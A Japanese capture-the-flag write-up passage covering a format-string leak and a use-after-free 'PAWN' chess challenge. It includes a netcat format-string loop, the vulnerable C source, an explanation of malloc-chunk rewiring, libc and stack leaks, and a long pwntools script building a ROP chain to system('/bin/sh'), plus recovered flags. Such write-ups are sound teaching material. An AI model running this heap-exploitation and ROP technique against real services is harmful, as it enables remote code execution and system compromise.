    printf("Welcome, ");
    printf(name);
    printf("\n");
    
    return 0;
}

当時の残骸を貼っとく。

#!/bin/bash
let num
((num = 30))
while :
do
  ((num++))
  echo -n -e "%$num\$p\n\n\n"  | nc shell.actf.co 21820
  sleep 1;
done
b = [0x6c65777b66746361,
0x61625f6d27695f6c,
0x6c625f6e695f6b63,
0x5f7365795f6b6361,
0x6b6361625f6d2769,
0x5f6568745f6e695f,
0x65625f6b63617473,
0x3439323135623963,
0x3438363737646165,
0xa7d333935663161,]

ret = b''
import struct
for i in b:
    ret += struct.pack('q', i)

print(ret)

flag: actf{well_i'm_back_in_black_yes_i'm_back_in_the_stack_bec9b51294ead77684a1f593}

PAWN

use after free問題。とても楽しく糞コードを書いた問題。

他のwriteupをみる限り__malloc_hookをゴニョゴニョするのが王道らしいが、血迷った解法でなんとかなったので書き残しとく。

チェスっぽいプログラムが降ってくる。

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define tiles 8
#define bc 5

// who needs good code when you have macro spam
// also gotta parenthesize everything just in case
// also I apologize to anyone trying to understand my code
#define PEQ(A, B, C, D) (((A) == (C) && (B) == (D)) || ((A) == (D) && (B) == (C)))
#define PEQS(A, B, C, D) ((A) == (C) && (B) == (D))
#define ABS(A) (((A) < 0) ? -(A) : (A))
#define MIN(A, B) (((A) < (B)) ? (A) : (B))
#define MAX(A, B) (((A) > (B)) ? (A) : (B))
#define ITER(A, B, C) for (int C = MIN(A, B); C < MAX(A, B); C++)
#define RETI(A, B, C) for (int C = MAX(A, B); C > MIN(A, B); C--)
#define ITEREQ(A, B, C) for (int C = MIN(A, B); C <= MAX(A, B); C++)
#define RETIEQ(A, B, C) for (int C = MAX(A, B); C >= MIN(A, B); C--)
#define ITERNEQ(A, B, C) for (int C = MIN(A, B) + 1; C < MAX(A, B); C++)
#define RETINEQ(A, B, C) for (int C = MAX(A, B) - 1; C > MIN(A, B); C--)
#define DIR(A, B) (((A) == (B)) ? 0 : ((A) < (B)) ? 1 : -1)
#define GOTO(A, B, C) for (int C = (A); C != (B); C += DIR(A, B))
#define GOTOEQ(A, B, C) for (int C = (A); C != (B) + DIR(A, B); C += DIR(A, B))
#define GOTONEQ(A, B, C) for (int C = (A) + DIR(A, B); C != (B); C += DIR(A, B))

int t = 0;
char** boards[bc];
char starting[] =
    "RNBKQBNR\x00PPPPPPPP\x00........\x00........\x00........\x00........"
    "\x00pppppppp\x00rnbkqbnr";

// bitwise magic is magical
int is_lower_case(char c) { return c & 0x20; }

int is_upper_case(char c) { return !is_lower_case(c); }

char to_lower_case(char c) { return c | 0x20; }

char to_upper_case(char c) { return c & (~0x20); }

int is_letter(char c) {
    return (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z');
}

char* make_board(char** b) {
    char* bigmem = (char*)malloc(tiles * (tiles + 1) * sizeof(char));
    memcpy(bigmem, starting, sizeof(starting));
    for (int i = 0; i < tiles; i++) {
        b[i] = bigmem + i * 9;
    }
    return bigmem;
}

void print_board(char** b) {
    printf("  ");
    for (int i = 0; i < tiles; i++) {
        printf("%d", i);
    }
    puts("-x");
    for (int i = 0; i < tiles; i++) {
        printf("%d %s\n", i, b[i]);
    }
    puts("|\ny");
}

int move_piece(char** b, int ox, int oy, int nx, int ny) {
    char piece = b[oy][ox];
    if (!is_letter(piece)) {
        return 1;
    }
    char low = to_lower_case(piece);
    // standing still instead of moving
    if (PEQS(ox, oy, nx, ny)) {
        return 1;
    }
    // piece is on the same team
    if (is_letter(b[ny][nx]) &&
        is_lower_case(b[ny][nx]) == is_lower_case(piece)) {
        return 1;
    }
    if (low == 'p') {
        // pawns take forwards and don't have en passant
        // also they can jump over a piece on their starting move
        // deal with it
        if (nx != ox) {
            return 1;
        }
        int offset, dub;
        if (is_lower_case(piece)) {
            offset = oy - ny;
            dub = oy == tiles - 2;
        } else {
            offset = ny - oy;
            dub = oy == 1;
        }
        if (offset != 1 && !(offset == 2 && dub)) {
            return 1;
        }
    } else if (low == 'r') {
        if (ox != nx && oy != ny) {
            return 1;
        }
        if (ox == nx) {
            ITERNEQ(oy, ny, i) {
                if (is_letter(b[i][ox])) {
                    return 1;
                }
            }
        } else {
            ITERNEQ(ox, nx, i) {
                if (is_letter(b[oy][i])) {
                    return 1;
                }
            }
        }
    } else if (low == 'n') {
        if (!PEQ(ABS(nx - ox), ABS(ny - oy), 2, 1)) {
            return 1;
        }
    } else if (low == 'b') {
        int dx = ox - nx;
        int dy = oy - ny;
        if (ABS(dx) != ABS(dy)) {
            return 1;
        }
        GOTONEQ(0, dx, i) {
            if (is_letter(b[oy + i * DIR(oy, ny)][ox + i * DIR(ox, nx)])) {
                return 1;
            }
        }
    } else if (low == 'k') {
        // check detection is nonexistent
        // deal with it
        if (ABS(ox - nx) > 1 || ABS(oy - ny) > 1) {
            return 1;
        }
    } else if (low == 'q') {
        int dx = ox - nx;
        int dy = oy - ny;
        if (!dx || !dy) {
            if (ox == nx) {
                ITERNEQ(oy, ny, i) {
                    if (is_letter(b[i][ox])) {
                        return 1;
                    }
                }
            } else {
                ITERNEQ(ox, nx, i) {
                    if (is_letter(b[oy][i])) {
                        return 1;
                    }
                }
            }
        } else if (ABS(dx) == ABS(dy)) {
            GOTONEQ(0, dx, i) {
                if (is_letter(b[oy + i * DIR(oy, ny)][ox + i * DIR(ox, nx)])) {
                    return 1;
                }
            }
        }
        return 1;
    } else {
        return 1;
    }
    b[ny][nx] = piece;
    b[oy][ox] = '.';
    return 0;
}

int smite_piece(char** b, int x, int y) {
    if (is_letter(b[y][x])) {
        b[y][x] = t;
        return 0;
    }
    return 1;
}

int readint() {
    int ret;
    scanf("%d", &ret);
    return ret;
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    for (int i = 0; i < bc; i++) {
        boards[i] = NULL;
    }
    while (1) {
        puts("What would you like to do?");
        puts("1) New Board");
        puts("2) Print Board");
        puts("3) Move Piece");
        puts("4) Smite Piece");
        puts("5) Delete Board");
        int action = readint();
        if (action == 1) {
            puts("What is the board index?");
            int ind = readint();
            if (ind < 0 || ind > 4) {
                puts("The board index must be from 0-4");
                continue;
            }
            boards[ind] = (char**)malloc(tiles * sizeof(char*));
            make_board(boards[ind]);
        } else if (action == 2) {
            puts("What is the board index?");
            int ind = readint();
            if (ind < 0 || ind > 4) {
                puts("The board index must be from 0-4");
                continue;
            }
            printf("Board %d:\n", ind);
            print_board(boards[ind]);
        } else if (action == 3) {
            puts("What is the board index?");
            int ind = readint();
            if (ind < 0 || ind > 4) {
                puts("The board index must be from 0-4");
                continue;
            }
            int ox, oy, nx, ny;
            puts(
                "Please provide the x and y values of the piece, separated by "
                "spaces.");
            scanf("%d %d", &ox, &oy);
            puts(
                "Please provide the x and y values of the position to move to, "
                "separated by spaces.");
            scanf("%d %d", &nx, &ny);
            if (move_piece(boards[ind], ox, oy, nx, ny)) {
                puts("Invalid move.");
            } else {
                puts("Move made.");
                t ++;
            }
        } else if (action == 4) {
            puts("What is the board index?");
            int ind = readint();
            if (ind < 0 || ind > 4) {
                puts("The board index must be from 0-4");
                continue;
            }
            int ox, oy;
            puts(
                "Please provide the x and y values of the piece, separated by "
                "spaces.");
            scanf("%d %d", &ox, &oy);
            if (smite_piece(boards[ind], ox, oy)) {
                puts("Smite failed.");
            } else {
                puts("Piece smotenified.");
            }
        } else if (action == 5) {
            puts("What is the board index?");
            int ind = readint();
            if (ind < 0 || ind > 4) {
                puts("The board index must be from 0-4");
                continue;
            }
            free(boards[ind][0]);
            free(boards[ind]);
        } else {
            puts("I don't know what that is.");
        }
    }
}

make_boardした後にdelete_boardしてもboards配列にアドレスが残るため、 freeされた領域に対して、print_boardを介して読み取り、move_peaceやsmite_peaceを介して書き込みを行うことができる。

freeされた領域に書き込むことができるのと、(十分に小さな)同じサイズのmallocを起こすことができるので、 freeされた領域に存在するmalloc_chunkを書き換えることで任意のアドレスをmallocの返り値にすることができる。

boards配列はまずmallocで作られたアドレスの格納されたtableを参照し、その先のbufferを読みに行く。 このtableとbufferはともにmallocで作られているため、 boards[0] -> tables[0] -> buf[0] boards[1] -> tables[1] -> buf[1] boards[2] -> buf[1] -> tables[0] というふうにmalloc_chunkを書き換えてつなぎ替えることによって、 任意のアドレスに対して読み書きを行えるようになる。

PIEではないので、pawnプログラム本体は常に0x400000に読み込まれ、pawn内の変数、関数に対してはアドレスを決め打ちすることができる。 FULL RELROなのでgot overwriteはできない。

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY Fortified   Fortifiable FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   64) Symbols   No    0       1       ./pawn

FULL RELROなバイナリは.plt領域に解決されたアドレスが書き込まれるため、libcの関数のアドレスを求めることができる。 libcは配布されているため、libcの関数のアドレスを用いてlibcのベースアドレスを求めることができる。

libcにはenvironという変数が存在しており、main関数の第3引数のアドレスの位置を求めることができる。 stackは変なコードでない限り相対位置は不変であるため、environの値を通して任意の関数のstackの位置を求めることができる。

stackにropgadgetsを仕組んでreturn-to-libcを行えればシェルを開くことができる。

make_boardのmemcpyを用いてropgadgetsをstack上に書き込む方向で考える。(※血迷いポイント)

char* make_board(char** b) {
    char* bigmem = (char*)malloc(tiles * (tiles + 1) * sizeof(char));
    memcpy(bigmem, starting, sizeof(starting));
    for (int i = 0; i < tiles; i++) {
        b[i] = bigmem + i * 9;
    }
    return bigmem;
}

mallocでenvironから求めたstackのアドレスを返すようにし、 グローバル変数のstartingにropgadgetsを詰め込めば、 make_boardがreturnするときにsystem('/bin/sh')が走るはずである。 以上の方針を満たすようにソルバ糞コードを錬成した。

読み書きに関しては完全に自由ではなく、読み取りはprintf("%s")であるためnullまでしか読めず、 書き込みに使えそうなsmite_peaceはis_letter関数によるチェックをパスしなければならない。 そのため駒をボードの外に動かしたりして必要な分の駒を確保したり色々した。 以下当時の残骸糞コード(もう読めない)

import pwn

smite_t = 0
P_pos = (1, 7)
R_pos = (7, 7)
DEBUG=False

def debug_print(s, *args, **kwargs):
    global DEBUG
    if DEBUG:
        print(s, *args, **kwargs)

def read_until_menu(io):
    debug_print(io.recvuntil("5) Delete Board\n").decode(), end="")

def wrapper_menu(func):
    def f(io, *argc, **kwargs):
        ret = func(io, *argc, **kwargs)
        read_until_menu(io)
        return ret
    return f


@wrapper_menu
def make_board(io, index):
    io.sendline(b"1")
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

@wrapper_menu
def print_board(io, index):
    """ malloc """
    io.sendline(b'2')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)
    read_data = io.readuntil("|\ny")
    debug_print(read_data, end="")
    return read_data

@wrapper_menu
def delete_board(io, index):
    """ free """
    io.sendline(b'5')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

@wrapper_menu
def move_peace(io, index, from_pos, to_pos):
    global smite_t
    debug_print("move_peace: ", io, from_pos, to_pos)
    io.sendline(b'3')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

    x, y = from_pos
    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    x, y = to_pos
    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    ret = io.readline().decode()
    if "Invalid" in ret:
        raise

    smite_t += 1
    if smite_t ==256:
        smite_t = 0

    return

@wrapper_menu
def incriment_smite_t_move(io, index):
    global P_pos
    global smite_t
    io.sendline(b'3')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

    x, y = P_pos
    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    if x==1 and y==7:
        x = 0
        y = 5
    else:
        x = 1
        y = 7

    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    P_pos = (x, y)
    ret = io.readline().decode()
    if "Invalid" in ret:
        raise

    smite_t += 1
    if smite_t ==256:
        smite_t = 0

@wrapper_menu
def move_r(io, index, r_pos):
    global smite_t
    io.sendline(b'3')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

    x, y = r_pos
    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    x += 1

    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    ret = (x, y)
    debug_print(io.readline().decode(), end="")

    smite_t += 1
    if smite_t ==256:
        smite_t = 0
    return ret

@wrapper_menu
def move_pwn_up(io, index, pos):
    global smite_t
    io.sendline(b'3')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

    x, y = pos
    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    y -= 1

    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    pos = (x, y)
    debug_print(io.readline().decode(), end="")

    smite_t += 1
    if smite_t ==256:
        smite_t = 0

    return pos



@wrapper_menu
def smite_peace(io, index, smite_pos, first_line=True):
    global smite_t
    debug_print("[!] Write : ", hex(smite_t))
    io.sendline(b'4')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

    x, y = smite_pos
    if first_line:
        x = x + y*9
        y = 0
    print(x, y)
    debug_print(io.readline().decode(), end="")
    debug_print(io.sendline("%d %d" % (x, y)))

    debug_print(io.readline().decode(), end="")

def up_porn_to_board_top(io, index, to_y):
    for x in range(8):
        pos = (x, 6)

        while pos[1] > to_y:
            pos = move_pwn_up(io, index, pos)

def remove_board_null(io, index):
    pos_list = [
        ((7, 0), (8, 0)),
        ((8, 0), (8, 1)),
        ((8, 1), (8, 2)),
        ((8, 2), (8, 3)),
        ((8, 3), (8, 4)),
        ((8, 4), (8, 5)),
        ((8, 5), (8, 6)),
        ((8, 6), (8, 7)),
        ((8, 7), (8, 0)),
        ((8, 0), (7, 0)),
    ]
    for from_pos, to_pos in pos_list:
        move_peace(io, index, from_pos, to_pos)

def move_rnbkqbn_to_board_top(io, index):
    ''' first move n and b '''
    pos_list = [
        ((1, 7), (0, 5)),
        ((0, 5), (1, 3)),

        ((2, 7), (0, 5)),
        ((0, 5), (2, 3)),

        ((5, 7), (3, 5)),
        ((3, 5), (5, 3)),

        ((6, 7), (7, 5)),
        ((7, 5), (6, 3)),

        ((0, 7), (0, 3)),
        ((7, 7), (7, 3)),

        ((3, 7), (3, 6)),
        ((3, 6), (3, 5)),
        ((3, 5), (3, 4)),
        ((3, 4), (3, 3)),
    ]
    for from_pos, to_pos in pos_list:
        move_peace(io, index, from_pos, to_pos)

    ''' overwrite q to r '''
    while smite_t != ord('r'):
        incriment_smite_t_move(io, '4')

    smite_peace(io, index, (4, 7))
    move_peace(io, index, (4, 7), (4, 3))
# 0
# 1
# 2 pppppppp
# 3 .n......
# 4 ........
# 5 b.......
# 6 ........
# 7 r..kqbnr
# |
# y


def write_to_mem(io, index, payload, position_y=0, offset=0, use_pos=False):
    global smite_t
    print("payload: ", payload)
    if use_pos:
        for i, p in enumerate(payload):
            #debug_print("p:", p)
            while p != smite_t:
                incriment_smite_t_move(io, '4')
            smite_peace(io, index, (i + (offset), position_y), first_line=False)
    else:
        for i, p in enumerate(payload):
            #debug_print("p:", p)
            while p != smite_t:
                incriment_smite_t_move(io, '4')
            smite_peace(io, index, (i + (position_y*8) + offset, 0))

def parse_data(data):
    start = len('Board 0:\n  01234567-x\n0 ')
    end = data.find(b'\n', start+1)
    return data[start:end]

def parse_data2(data):
    start = len('Board 0:\n  01234567-x\n0 ')
    start = data.find(b'\n', start+1)
    end = data.find(b'\n', start+3)

    return data[start:end]

def change_all_peace_to_r(io, index):
    # !! Use to Default board !!
    global smite_t
    p = ord('r')
    while p != smite_t:
        incriment_smite_t_move(io, '4')
    for y in [0, 1, 6, 7]:
        for x in range(8):
            smite_peace(io, index, (x, y))

def change_under_peace_to_r(io, index):
    # !! Use to Default board !!
    global smite_t
    p = ord('r')
    while p != smite_t:
        incriment_smite_t_move(io, '4')
    for y in [6, 7]:
        for x in range(8):
            smite_peace(io, index, (x, y))

def fill_only_first_line_use_six_line(io, index):
    pos_list = [
        ((0, 6), (0, 0)),
        ((1, 6), (1, 0)),
        ((2, 6), (2, 0)),
        ((3, 6), (3, 0)),
        ((4, 6), (4, 0)),
        ((5, 6), (5, 0)),
        ((6, 6), (6, 0)),
        ((7, 6), (7, 0)),

        ((7, 7), (8, 7)),
        ((8, 7), (8, 0)),
    ]
    for from_pos, to_pos in pos_list:
        move_peace(io, index, from_pos, to_pos)

def fill_all_r_to_top(io, index):
    pos_list = [
        ((0, 6), (0, 2)),
        ((1, 6), (1, 2)),
        ((2, 6), (2, 2)),
        ((3, 6), (3, 2)),
        ((4, 6), (4, 2)),
        ((5, 6), (5, 2)),
        ((6, 6), (6, 2)),
        ((7, 6), (7, 2)),
        ((0, 7), (0, 3)),
        ((1, 7), (1, 3)),
        ((2, 7), (2, 3)),
        ((3, 7), (3, 3)),
        ((4, 7), (4, 3)),

        ((7, 7), (8, 7)),
        ((8, 7), (8, 0)),
        
        ((6, 7), (8, 7)),
        ((8, 7), (8, 1)),

        ((5, 7), (8, 7)),
        ((8, 7), (8, 2)),
    ]
    
    for from_pos, to_pos in pos_list:
        move_peace(io, index, from_pos, to_pos)

### ROUke Utilirty ###
def fill_line_to_r(io, index, line):
    global smite_t
    p = ord('r')

    while p != smite_t:
        incriment_smite_t_move(io, '4')
    for i in range(8):
        smite_peace(io, index, (i, line))

def fill_r_in_range(io, index, line, start, end):
    global smite_t
    p = ord('r')
    while p != smite_t:
        incriment_smite_t_move(io, '4')

    for i in range(start, end):
        smite_peace(io, index, (i, line))

def lshift_r_in_range(io, index, line, start, end, offset):
    for i in range(start, end):
        for j in range(offset):
            print("move", (i-j, line))
            move_peace(io, index, (i-j, line), (i-1-j, line))

### PAWN Utilirty ###

def fill_line_to_P(io, index, line):
    global smite_t
    p = ord('P')

    while p != smite_t:
        incriment_smite_t_move(io, '4')
    for i in range(8):
        smite_peace(io, index, (i, line))

def fill_line_to_p(io, index, line):
    global smite_t
    p = ord('p')

    while p != smite_t:
        incriment_smite_t_move(io, '4')
    for i in range(8):
        smite_peace(io, index, (i, line))

def double_up_P_line(io, index, line):
    for i in range(8):
        move_peace(io, index, (i, line), (i, line-2))

def one_up_P_line(io, index, line):
    for i in range(8):
        move_peace(io, index, (i, line), (i, line-1))


def fill_board(io, index):
    counter = 40
    while counter > 0:
        move_length = 2 + counter
        r_pos = (7, 7)
        for i in range(move_length):
            r_pos = move_r(io, index, r_pos)
            read_data = print_board(io, index)
            print(read_data)
        counter -= 1

        delete_board(io, index)
        make_board(io, index)

    remove_board_null(io, index)
    up_porn_to_board_top(io, index, 2)
    move_rnbkqbn_to_board_top(io, index)

    print("Move r to slide")
    to_y = 4
    while counter < 32:
        for i in range(8):
            target_pos = (10 + counter, 7)
            while target_pos != (i, 7):
                from_pos = target_pos
                to_pos = (from_pos[0] - 1, from_pos[1])
                move_peace(io, index, from_pos, to_pos)
                target_pos = to_pos
            counter += 1

        if to_y != 7:
            for j in range(8):
                move_peace(io, index, (j, 7), (j, to_y))
        to_y += 1

    to_y = 0
    while counter < 40:
        target_pos = (10 + counter, 7)
        while target_pos != (8, 7):
            from_pos = target_pos
            to_pos = (from_pos[0] - 1, from_pos[1])
            move_peace(io, index, from_pos, to_pos)
            target_pos = to_pos
        if to_y != 7:
            move_peace(io, index, target_pos, (8, to_y))
        to_y += 1
        counter += 1



def solve(io):
    """
    3 makeboard and 3 deleteboard
    malloc * 6 and free * 6
    leak malloc chank addr
    """
    make_board(io, '0')
    make_board(io, '1')
    make_board(io, '2')
    make_board(io, '4')

    delete_board(io, '0')
    delete_board(io, '1')
    delete_board(io, '2')

    #change_under_peace_to_r(io, '1')

    l = len('Board 2:\n  01234567-x\n0 ')
    read_data = print_board(io, '2')
    next_malloc_addr =read_data[l:l+4]
    debug_print(hex(pwn.unpack(next_malloc_addr)))

    read_data = print_board(io, '0')
    default_data = b'Board 2:\n  01234567-x\n0 P\x13\xc7\n1 \n2 ........\n3 ........\n4 ........\n5 ........\n6 pppppppp\n7 rnbkqbnr\n|\ny'
    default_data_len = pre_data_len = len(default_data)

    offset_counter = 0
    r_pos = (7, 7)
    while True:
        offset_counter +=1
        r_pos = move_r(io, '0', r_pos)
        read_data = print_board(io, '0')
        data_len = len(read_data)
        if data_len > pre_data_len+2:
            first = pre_data_len -3
            addr_len = data_len - pre_data_len -1
            break
        pre_data_len = data_len
    first = pre_data_len-3

    debug_print("Offset: ", offset_counter)
    debug_print(read_data)
    debug_print(read_data[first:first+addr_len])
    addr_b = read_data[first:first+addr_len].ljust(4, b'\x00')
    print(hex(pwn.unpack(addr_b[:4])))

    default_free_addr = parse_data(print_board(io, '2')).ljust(4, b'\x00')
    print(default_free_addr)
    input()
    debug_print(default_free_addr)
    write_to_mem(io, '2', addr_b)

    # !!! Board 2 Recreate
    # !!! So reset Position
    make_board(io, '2')
    #global P_pos
    #P_pos = (1, 7)

    make_board(io, '3')

    # stage 2: lead libc_base_address
    # fill r in board 3 
    # ### fill Board ###
    fill_board(io, '3')
    ###### Fill board #####


    # #### write Board 3 to libc_free_addr_ptr
    #payload = next_malloc_addr.ljust(8, b'\x00')
    for i in range(8):
        payload = pwn.pack(0x403f98 + i).ljust(8, b'\x00')
        write_to_mem(io, '3', payload, position_y=i)

    debug_print(print_board(io, '3'))
    debug_print(print_board(io, '1'))
    read_data = print_board(io, '0')
    debug_print(read_data)
    debug_print(parse_data(read_data))
    pd = parse_data(read_data).ljust(8, b'\x00')
    debug_print(pd)
    libc_free_addr = pwn.unpack(pd, word_size=64)
    print('[Guess] libc_free addr: ', hex(libc_free_addr))
    libc_base = libc_free_addr - 0x9d850
    print('[Guess] libc_base addr: ', hex(libc_base))
    environ_addr = libc_base + 0x1ef2e0
    print('[Guess] environ addr: ', hex(environ_addr))

    #### stage 3 : leak environ and stack_addr ####
    print('[!] Stage 3 ')

    # reset board 3
    delete_board(io, '3')
    make_board(io, '3')
    fill_board(io, '3')

    for i in range(8):
        payload = pwn.pack(environ_addr, word_size=64)
        write_to_mem(io, '3', payload, position_y=i)

    read_data = print_board(io, '0')
    stack_addr = pwn.unpack(parse_data(read_data).ljust(8, b'\x00'), word_size=64)
    debug_print(read_data)
    debug_print(parse_data(read_data))
    print('stack addr->', pwn.unpack(parse_data(read_data).ljust(8, b'\x00'), word_size=64))

    delete_board(io, '3')


    # stage 4 : overwride starting buf
    print('[!] Stage 4 ')
    starting_addr = 0x404020
    make_board(io, '3')
    fill_board(io, '3')

    #for i in [0, 1, 2, 3, 6, 7]:
    for i in [0]:
        payload = pwn.pack(starting_addr+i*9, word_size=64)
        write_to_mem(io, '3', payload, position_y=i)

    fill_r_in_range(io, '0', 0, 9, 18)
    fill_r_in_range(io, '0', 0, 54, 63)
    fill_r_in_range(io, '0', 0, 63, 72)
    lshift_r_in_range(io, '0', 0, 9, 17, 1)
    lshift_r_in_range(io, '0', 0, 54, 62, 38)
    lshift_r_in_range(io, '0', 0, 63, 71, 39)


    #change_all_peace_to_r(io, '0')
    #fill_all_r_to_top(io, '0')
#    double_up_P_line(io, '0', 6)
#    one_up_P_line(io, '0', 4)
#    one_up_P_line(io, '0', 3)
#
#    fill_line_to_p(io, '0', 7)
#    one_up_P_line(io, '0', 7)
#    double_up_P_line(io, '0', 6)
#    one_up_P_line(io, '0', 4)
#
#    fill_line_to_r(io, '0', 3)
#
#    move_peace(io, '0', (7,3), (8,3))
#    move_peace(io, '0', (8,3), (8,0))
#    move_peace(io, '0', (6,3), (8,3))
#    move_peace(io, '0', (8,3), (8,1))
#    move_peace(io, '0', (5,3), (8,3))
#    move_peace(io, '0', (8,3), (8,2))

    print(print_board(io, '3'))

    delete_board(io, '3')
    print(print_board(io, '3'))

    fill_line_to_P(io, '2', 0)
    for i in range(8):
        move_peace(io, '2', (i, 1), (i, 2))
        move_peace(io, '2', (i, 2), (i, 3))
        move_peace(io, '2', (i, 0), (i, 1))
        move_peace(io, '2', (i, 1), (i, 2))
    delete_board(io, '2')

    print("default:", pwn.unpack(default_free_addr, word_size=32))
    print("overwide:", pwn.unpack(addr_b, word_size=32))

    payload = pwn.pack(starting_addr, word_size=64)
    write_to_mem(io, '3', payload, offset=32)

    # setting rop gadget
    libc_system = libc_base + 0x0055410
    libc_binsh = libc_base + 0x1b75aa
    libc_pop_rdi = libc_base + 0x00026b72
    libc_ret = libc_pop_rdi + 1

    payload = pwn.pack(libc_pop_rdi, word_size=64)
    write_to_mem(io, '0', payload, position_y=4, offset=0, use_pos=True)

    payload = pwn.pack(libc_binsh, word_size=64)
    write_to_mem(io, '0', payload, position_y=4, offset=8, use_pos=True)

    payload = pwn.pack(libc_ret, word_size=64)
    write_to_mem(io, '0', payload, position_y=4, offset=16, use_pos=True)

    payload = pwn.pack(libc_system, word_size=64)
    write_to_mem(io, '0', payload, position_y=4, offset=24, use_pos=True)

    #read_data = print_board(io, '0')
    #debug_print(read_data)

    # stage5 : overwrite stack buf
    diff = 336

    target_stack_addr = stack_addr - diff
    payload = pwn.pack(target_stack_addr, word_size=64)

    for i in range(8):
        move_peace(io, '3', (i, 2), (i, 1))
        move_peace(io, '3', (i, 1), (i, 0))
    write_to_mem(io, '3', payload)

    new_free_addr = parse_data(print_board(io, '1')).ljust(8, b'\x00')
    backup_stab = parse_data2(print_board(io, '1')).ljust(8, b'\x00')

    fill_line_to_p(io, '2', 2)
    for i in range(8):
        move_peace(io, '2', (i, 2), (i, 1))
        move_peace(io, '2', (i, 1), (i, 0))
    write_to_mem(io, '2', backup_stab, offset=8)
    write_to_mem(io, '2', new_free_addr)

    print(backup_stab)
    print(hex(pwn.unpack(new_free_addr, word_size=64)))
    #pwn.gdb.attach(io)
    make_board(io, '4')
    io.interactive()
    make_board(io, '4')





#io = pwn.process("./pawn")
io = pwn.remote("shell.actf.co", 21706)
read_until_menu(io)

solve(io)

io.interactive()

malloc先をつなぎ替えるために、確保される領域が近いことを期待して隣のmalloc領域を読みに行っているため、たまに失敗する。 ropで一回retを挟んでいるのは以下の記事参照。

stackoverflow.com

flag: f:id:b_tya_nya:20210507141836p:plain

*1:K1&P) ^ K1

*2:K2 & ((K1&P) ^ K1